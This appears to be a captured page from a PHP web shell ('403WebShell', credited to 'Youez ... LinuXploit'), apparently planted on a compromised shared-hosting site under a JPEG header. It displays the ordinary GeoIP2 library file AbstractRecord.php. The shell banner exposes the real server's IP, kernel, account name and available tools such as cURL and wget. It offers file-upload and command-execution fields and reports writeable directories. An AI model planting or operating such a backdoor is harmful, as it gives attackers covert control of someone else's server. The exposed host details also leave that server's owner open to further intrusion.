����JFIF��x�x����'403WebShell
403Webshell
Server IP : 66.29.137.217  /  Your IP : 18.219.218.77
Web Server : LiteSpeed
System : Linux premium294.web-hosting.com 4.18.0-513.11.1.lve.el8.x86_64 #1 SMP Thu Jan 18 16:21:02 UTC 2024 x86_64
User : gltevjme ( 1095)
PHP Version : 7.0.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/gltevjme/ideyshare.name.ng/app/libraries/vendor/geoip2/geoip2/src/Record/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/gltevjme/ideyshare.name.ng/app/libraries/vendor/geoip2/geoip2/src/Record/AbstractRecord.php
<?php

declare(strict_types=1);

namespace GeoIp2\Record;

abstract class AbstractRecord implements \JsonSerializable
{
    /**
     * @var array<string, mixed>
     */
    private $record;

    /**
     * @ignore
     */
    public function __construct(?array $record)
    {
        $this->record = isset($record) ? $record : [];
    }

    /**
     * @ignore
     *
     * @return mixed
     */
    public function __get(string $attr)
    {
        // XXX - kind of ugly but greatly reduces boilerplate code
        $key = $this->attributeToKey($attr);

        if ($this->__isset($attr)) {
            return $this->record[$key];
        }
        if ($this->validAttribute($attr)) {
            if (preg_match('/^is_/', $key)) {
                return false;
            }

            return null;
        }

        throw new \RuntimeException("Unknown attribute: $attr");
    }

    public function __isset(string $attr): bool
    {
        return $this->validAttribute($attr)
             && isset($this->record[$this->attributeToKey($attr)]);
    }

    private function attributeToKey(string $attr): string
    {
        return strtolower(preg_replace('/([A-Z])/', '_\1', $attr));
    }

    private function validAttribute(string $attr): bool
    {
        // @phpstan-ignore-next-line
        return \in_array($attr, $this->validAttributes, true);
    }

    public function jsonSerialize(): ?array
    {
        return $this->record;
    }
}

Youez - 2016 - github.com/yon3zu
LinuXploit